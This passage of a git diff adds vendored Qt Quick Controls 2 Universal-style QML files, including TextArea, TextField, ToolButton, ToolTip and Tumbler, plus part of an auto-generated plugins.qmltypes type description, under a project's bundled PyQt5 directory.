2.12 + +T.TabButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 12 // PivotItemMargin + spacing: 8 + + icon.width: 20 + icon.height: 20 + icon.color: Color.transparent(control.hovered ? control.Universal.baseMediumHighColor : control.Universal.foreground, + control.checked || control.down || control.hovered ? 1.0 : 0.2) + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: Color.transparent(control.hovered ? control.Universal.baseMediumHighColor : control.Universal.foreground, + control.checked || control.down || control.hovered ? 1.0 : 0.2) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/TextArea.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/TextArea.qml new file mode 100644 index 00000000..03ad4a89 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/TextArea.qml @@ -0,0 +1,94 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 2.12 + +T.TextArea { + id: control + + implicitWidth: Math.max(contentWidth + leftPadding + rightPadding, + implicitBackgroundWidth + leftInset + rightInset, + placeholder.implicitWidth + leftPadding + rightPadding) + implicitHeight: Math.max(contentHeight + topPadding + bottomPadding, + implicitBackgroundHeight + topInset + bottomInset, + placeholder.implicitHeight + topPadding + bottomPadding) + + // TextControlThemePadding + 2 (border) + padding: 12 + topPadding: padding - 7 + rightPadding: padding - 4 + bottomPadding: padding - 5 + + Universal.theme: activeFocus ? Universal.Light : undefined + + color: !enabled ? Universal.chromeDisabledLowColor : Universal.foreground + selectionColor: Universal.accent + selectedTextColor: Universal.chromeWhiteColor + placeholderTextColor: !enabled ? Universal.chromeDisabledLowColor : + activeFocus ? Universal.chromeBlackMediumLowColor : + Universal.baseMediumColor + + PlaceholderText { + id: placeholder + x: control.leftPadding + y: control.topPadding + width: control.width - (control.leftPadding + control.rightPadding) + height: control.height - (control.topPadding + control.bottomPadding) + + text: control.placeholderText + font: control.font + color: control.placeholderTextColor + visible: !control.length && !control.preeditText && (!control.activeFocus || control.horizontalAlignment !== Qt.AlignHCenter) + verticalAlignment: control.verticalAlignment + elide: Text.ElideRight + renderType: control.renderType + } + + background: Rectangle { + implicitWidth: 60 // TextControlThemeMinWidth - 4 (border) + implicitHeight: 28 // TextControlThemeMinHeight - 4 (border) + + border.width: 2 // TextControlBorderThemeThickness + border.color: !control.enabled ? control.Universal.baseLowColor : + control.activeFocus ? control.Universal.accent : + control.hovered ? control.Universal.baseMediumColor : control.Universal.chromeDisabledLowColor + color: control.enabled ? control.Universal.background : control.Universal.baseLowColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/TextField.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/TextField.qml new file mode 100644 index 00000000..ba5bf685 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/TextField.qml @@ -0,0 +1,94 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 2.12 + +T.TextField { + id: control + + implicitWidth: implicitBackgroundWidth + leftInset + rightInset + || Math.max(contentWidth, placeholder.implicitWidth) + leftPadding + rightPadding + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding, + placeholder.implicitHeight + topPadding + bottomPadding) + + // TextControlThemePadding + 2 (border) + padding: 12 + topPadding: padding - 7 + rightPadding: padding - 4 + bottomPadding: padding - 5 + + Universal.theme: activeFocus ? Universal.Light : undefined + + color: !enabled ? Universal.chromeDisabledLowColor : Universal.foreground + selectionColor: Universal.accent + selectedTextColor: Universal.chromeWhiteColor + placeholderTextColor: !enabled ? Universal.chromeDisabledLowColor : + activeFocus ? Universal.chromeBlackMediumLowColor : + Universal.baseMediumColor + verticalAlignment: TextInput.AlignVCenter + + PlaceholderText { + id: placeholder + x: control.leftPadding + y: control.topPadding + width: control.width - (control.leftPadding + control.rightPadding) + height: control.height - (control.topPadding + control.bottomPadding) + + text: control.placeholderText + font: control.font + color: control.placeholderTextColor + visible: !control.length && !control.preeditText && (!control.activeFocus || control.horizontalAlignment !== Qt.AlignHCenter) + verticalAlignment: control.verticalAlignment + elide: Text.ElideRight + renderType: control.renderType + } + + background: Rectangle { + implicitWidth: 60 // TextControlThemeMinWidth - 4 (border) + implicitHeight: 28 // TextControlThemeMinHeight - 4 (border) + + border.width: 2 // TextControlBorderThemeThickness + border.color: !control.enabled ? control.Universal.baseLowColor : + control.activeFocus ? control.Universal.accent : + control.hovered ? control.Universal.baseMediumColor : control.Universal.chromeDisabledLowColor + color: control.enabled ? control.Universal.background : control.Universal.baseLowColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ToolBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ToolBar.qml new file mode 100644 index 00000000..5a385e8e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ToolBar.qml @@ -0,0 +1,53 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.ToolBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + background: Rectangle { + implicitHeight: 48 // AppBarThemeCompactHeight + color: control.Universal.chromeMediumColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ToolButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ToolButton.qml new file mode 100644 index 00000000..f36dac22 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ToolButton.qml @@ -0,0 +1,84 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 2.12 + +T.ToolButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 8 + + icon.width: 20 + icon.height: 20 + icon.color: Color.transparent(Universal.foreground, enabled ? 1.0 : 0.2) + + property bool useSystemFocusVisuals: true + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: Color.transparent(control.Universal.foreground, enabled ? 1.0 : 0.2) + } + + background: Rectangle { + implicitWidth: 68 + implicitHeight: 48 // AppBarThemeCompactHeight + + color: control.enabled && (control.highlighted || control.checked) ? control.Universal.accent : "transparent" + + Rectangle { + width: parent.width + height: parent.height + visible: control.down || control.hovered + color: control.down ? control.Universal.listMediumColor : control.Universal.listLowColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ToolSeparator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ToolSeparator.qml new file mode 100644 index 00000000..ee8e6e1c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ToolSeparator.qml @@ -0,0 +1,59 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.ToolSeparator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + leftPadding: vertical ? 16 : 12 + rightPadding: vertical ? 15 : 12 + topPadding: vertical ? 12 : 16 + bottomPadding: vertical ? 12 : 15 + + contentItem: Rectangle { + implicitWidth: vertical ? 1 : 20 + implicitHeight: vertical ? 20 : 1 + color: control.Universal.baseMediumLowColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ToolTip.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ToolTip.qml new file mode 100644 index 00000000..431cdf7c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ToolTip.qml @@ -0,0 +1,72 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.ToolTip { + id: control + + x: parent ? (parent.width - implicitWidth) / 2 : 0 + y: -implicitHeight - 16 + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + margins: 8 + padding: 8 + topPadding: padding - 3 + bottomPadding: padding - 1 + + closePolicy: T.Popup.CloseOnEscape | T.Popup.CloseOnPressOutsideParent | T.Popup.CloseOnReleaseOutsideParent + + contentItem: Text { + text: control.text + font: control.font + wrapMode: Text.Wrap + opacity: enabled ? 1.0 : 0.2 + color: control.Universal.foreground + } + + background: Rectangle { + color: control.Universal.chromeMediumLowColor + border.color: control.Universal.chromeHighColor + border.width: 1 // ToolTipBorderThemeThickness + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Tumbler.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Tumbler.qml new file mode 100644 index 00000000..d0e7b12f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Tumbler.qml @@ -0,0 +1,76 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 + +T.Tumbler { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) || 60 // ### remove 60 in Qt 6 + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) || 200 // ### remove 200 in Qt 6 + + delegate: Text { + text: modelData + font: control.font + color: control.Universal.foreground + opacity: (1.0 - Math.abs(Tumbler.displacement) / (control.visibleItemCount / 2)) * (control.enabled ? 1 : 0.6) + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + } + + contentItem: TumblerView { + implicitWidth: 60 + implicitHeight: 200 + model: control.model + delegate: control.delegate + path: Path { + startX: control.contentItem.width / 2 + startY: -control.contentItem.delegateHeight / 2 + PathLine { + x: control.contentItem.width / 2 + y: (control.visibleItemCount + 1) * control.contentItem.delegateHeight - control.contentItem.delegateHeight / 2 + } + } + + property real delegateHeight: control.availableHeight / control.visibleItemCount + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/VerticalHeaderView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/VerticalHeaderView.qml new file mode 100644 index 00000000..04408d68 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/VerticalHeaderView.qml @@ -0,0 +1,70 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick.Controls 2.15 +import QtQuick.Controls.impl 2.15 +import QtQuick.Templates 2.15 as T +import QtQuick.Controls.Universal 2.15 +import QtQuick.Controls.Universal.impl 2.15 + +T.VerticalHeaderView { + id: control + + implicitWidth: contentWidth + implicitHeight: syncView ? syncView.height : 0 + + delegate: Rectangle { + // Qt6: add cellPadding (and font etc) as public API in headerview + readonly property real cellPadding: 8 + + implicitWidth: Math.max(control.width, text.implicitWidth + (cellPadding * 2)) + implicitHeight: text.implicitHeight + (cellPadding * 2) + color: control.Universal.background + + Text { + id: text + text: control.textRole ? (Array.isArray(control.model) ? modelData[control.textRole] + : model[control.textRole]) + : modelData + width: parent.width + height: parent.height + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + color: Color.transparent(control.Universal.foreground, enabled ? 1.0 : 0.2) + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/plugins.qmltypes new file mode 100644 index 00000000..c38e39e1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/plugins.qmltypes @@ -0,0 +1,340 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable -dependencies dependencies.json QtQuick.Controls.Universal 2.15' + +Module { + dependencies: ["QtQuick.Controls 2.0"] + Component { name: "QQuickAttachedObject"; prototype: "QObject" } + Component { + name: "QQuickItem" + defaultProperty: "data" + prototype: "QObject" + Enum { + name: "Flags" + values: { + "ItemClipsChildrenToShape": 1, + "ItemAcceptsInputMethod": 2, + "ItemIsFocusScope": 4, + "ItemHasContents": 8, + "ItemAcceptsDrops": 16 + } + } + Enum { + name: "TransformOrigin" + values: { + "TopLeft": 0, + "Top": 1, + "TopRight": 2, + "Left": 3, + "Center": 4, + "Right": 5, + "BottomLeft": 6, + "Bottom": 7, + "BottomRight": 8 + } + } + Property { name: "parent"; type: "QQuickItem"; isPointer: true } + Property { name: "data"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "resources"; type: "QObject"; isList: true; isReadonly: true } + Property { name: "children"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "x"; type: "double" } + Property { name: "y"; type: "double" } + Property { name: "z"; type: "double" } + Property { name: "width"; type: "double" } + Property { name: "height"; type: "double" } + Property { name: "opacity"; type: "double" } + Property { name: "enabled"; type: "bool" } + Property { name: "visible"; type: "bool" } + Property { name: "visibleChildren"; type: "QQuickItem"; isList: true; isReadonly: true } + Property { name: "states"; type: "QQuickState"; isList: true; isReadonly: true } + Property { name: "transitions"; type: "QQuickTransition"; isList: true; isReadonly: true } + Property { name: "state"; type: "string" } + Property { name: "childrenRect"; type: "QRectF"; isReadonly: true } + Property { name: "anchors"; type: "QQuickAnchors"; isReadonly: true; isPointer: true } + Property { name: "left"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "right"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "horizontalCenter"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "top"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "bottom"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "verticalCenter"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "baseline"; type: "QQuickAnchorLine"; isReadonly: true } + Property { name: "baselineOffset"; type: "double" } + Property { name: "clip"; type: "bool" } + Property { name: "focus"; type: "bool" } + Property { name: "activeFocus"; type: "bool"; isReadonly: true } + Property { name: "activeFocusOnTab"; revision: 1; type: "bool" } + Property { name: "rotation"; type: "double" } + Property { name: "scale"; type: "double" } + Property { name: "transformOrigin"; type: "TransformOrigin" } + Property { name: "transformOriginPoint"; type: "QPointF"; isReadonly: true } + Property { name: "transform"; type: "QQuickTransform"; isList: true; isReadonly: true } + Property { name: "smooth"; type: "bool" } + Property { name: "antialiasing"; type: "bool" } + Property { name: "implicitWidth"; type: "double" } + Property { name: "implicitHeight"; type: "double" } + Property { name: "containmentMask"; revision: 11; type: "QObject"; isPointer: true } + Property { name: "layer"; type: "QQuickItemLayer"; isReadonly: true; isPointer: true } + Signal { + name: "childrenRectChanged" + Parameter { type: "QRectF" } + } + Signal { + name: "baselineOffsetChanged" + Parameter { type: "double" } + } + Signal { + name: "stateChanged" + Parameter { type: "string" } + } + Signal { + name: "focusChanged" + Parameter { type: "bool" } + } + Signal { + name: "activeFocusChanged" + Parameter { type: "bool" } + } + Signal { + name: "activeFocusOnTabChanged" + revision: 1 + Parameter { type: "bool" } + } + Signal { + name: "parentChanged" + Parameter { type: "QQuickItem"; isPointer: true } + } + Signal { + name: "transformOriginChanged" + Parameter { type: "TransformOrigin" } + } + Signal { + name: "smoothChanged" + Parameter { type: "bool" } + } + Signal { + name: "antialiasingChanged" + Parameter { type: "bool" } + } + Signal { + name: "clipChanged" + Parameter { type: "bool" } + } + Signal { + name: "windowChanged" + revision: 1 + Parameter { name: "window"; type: "QQuickWindow"; isPointer: true } + } + Signal { name: "containmentMaskChanged"; revision: 11 } + Method { name: "update" } + Method { + name: "grabToImage" + revision: 4 + type: "bool" + Parameter { name: "callback"; type: "QJSValue" } + Parameter { name: "targetSize"; type: "QSize" } + } + Method { + name: "grabToImage" + revision: 4 + type: "bool" + Parameter { name: "callback"; type: "QJSValue" } + } + Method { + name: "contains" + type: "bool" + Parameter { name: "point"; type: "QPointF" } + } + Method { + name: "mapFromItem" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapToItem" + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapFromGlobal" + revision: 7 + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { + name: "mapToGlobal" + revision: 7 + Parameter { type: "QQmlV4Function"; isPointer: true } + } + Method { name: "forceActiveFocus" } + Method { + name: "forceActiveFocus" + Parameter { name: "reason"; type: "Qt::FocusReason" } + } + Method { + name: "nextItemInFocusChain" + revision: 1 + type: "QQuickItem*" + Parameter { name: "forward"; type: "bool" } + } + Method { name: "nextItemInFocusChain"; revision: 1; type: "QQuickItem*" } + Method { + name: "childAt" + type: "QQuickItem*" + Parameter { name: "x"; type: "double" } + Parameter { name: "y"; type: "double" } + } + } + Component { + name: "QQuickPaintedItem" + defaultProperty: "data" + prototype: "QQuickItem" + Enum { + name: "RenderTarget" + values: { + "Image": 0, + "FramebufferObject": 1, + "InvertedYFramebufferObject": 2 + } + } + Enum { + name: "PerformanceHints" + values: { + "FastFBOResizing": 1 + } + } + Property { name: "contentsSize"; type: "QSize" } + Property { name: "fillColor"; type: "QColor" } + Property { name: "contentsScale"; type: "double" } + Property { name: "renderTarget"; type: "RenderTarget" } + Property { name: "textureSize"; type: "QSize" } + } + Component { + name: "QQuickUniversalBusyIndicator" + defaultProperty: "data" + prototype: "QQuickItem" + exports: ["QtQuick.Controls.Universal.impl/BusyIndicatorImpl 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "count"; type: "int" } + Property { name: "color"; type: "QColor" } + } + Component { + name: "QQuickUniversalFocusRectangle" + defaultProperty: "data" + prototype: "QQuickPaintedItem" + exports: ["QtQuick.Controls.Universal.impl/FocusRectangle 2.0"] + exportMetaObjectRevisions: [0] + } + Component { + name: "QQuickUniversalProgressBar" + defaultProperty: "data" + prototype: "QQuickItem" + exports: ["QtQuick.Controls.Universal.impl/ProgressBarImpl 2.0"] + exportMetaObjectRevisions: [0] + Property { name: "color"; type: "QColor" } + Property { name: "progress"; type: "double" } + Property { name: "indeterminate"; type: "bool" } + } + Component { + name: "QQuickUniversalStyle" + prototype: "QQuickAttachedObject" + exports: ["QtQuick.Controls.Universal/Universal 2.0"] + isCreatable: false + exportMetaObjectRevisions: [0] + Enum { + name: "Theme" + values: { + "Light": 0, + "Dark": 1, + "System": 2 + } + } + Enum { + name: "Color" + values: { + "Lime": 0, + 